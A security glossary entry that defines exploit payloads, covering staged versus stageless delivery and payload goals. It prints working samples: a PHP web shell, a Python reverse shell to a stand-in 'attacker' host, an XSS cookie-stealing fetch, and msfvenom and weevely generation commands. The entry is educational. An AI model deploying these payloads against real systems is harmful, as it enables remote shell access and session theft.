Security Glossary

Exploit Payload

The code or data delivered by an exploit to achieve objectives like spawning shells, establishing backdoors, or exfiltrating data.

Exploit Payload is the code or data delivered by an exploit to achieve the attacker's objective, such as spawning a shell, establishing a backdoor, or exfiltrating data.

Payload Types

Staged vs Stageless

# Stageless: Complete payload in single delivery
# Larger size, but single request

# Staged: Small loader fetches main payload
# Stage 1: Connect back, download stage 2
# Stage 2: Full functionality (meterpreter, shell)

Common Payload Goals

  • Reverse shell: Connect back to attacker
  • Bind shell: Open port on victim
  • Meterpreter: Advanced post-exploitation
  • Command execution: Run specific commands
  • File download: Retrieve data

Web Payload Examples

# PHP web shell
<?php system($_GET['cmd']); ?>

# Python reverse shell
import socket,subprocess,os
s=socket.socket()
s.connect(("attacker",4444))
os.dup2(s.fileno(),0)
subprocess.call(["/bin/sh","-i"])

# JavaScript XSS payload
<script>
fetch('https://attacker/steal?c='+document.cookie)
</script>

Payload Generation

# Metasploit msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf

# Web shells
weevely generate password shell.php

Evasion Considerations

  • Encoding to bypass filters
  • Obfuscation against detection
  • Custom payloads to avoid signatures
  • Encrypted communications

See Also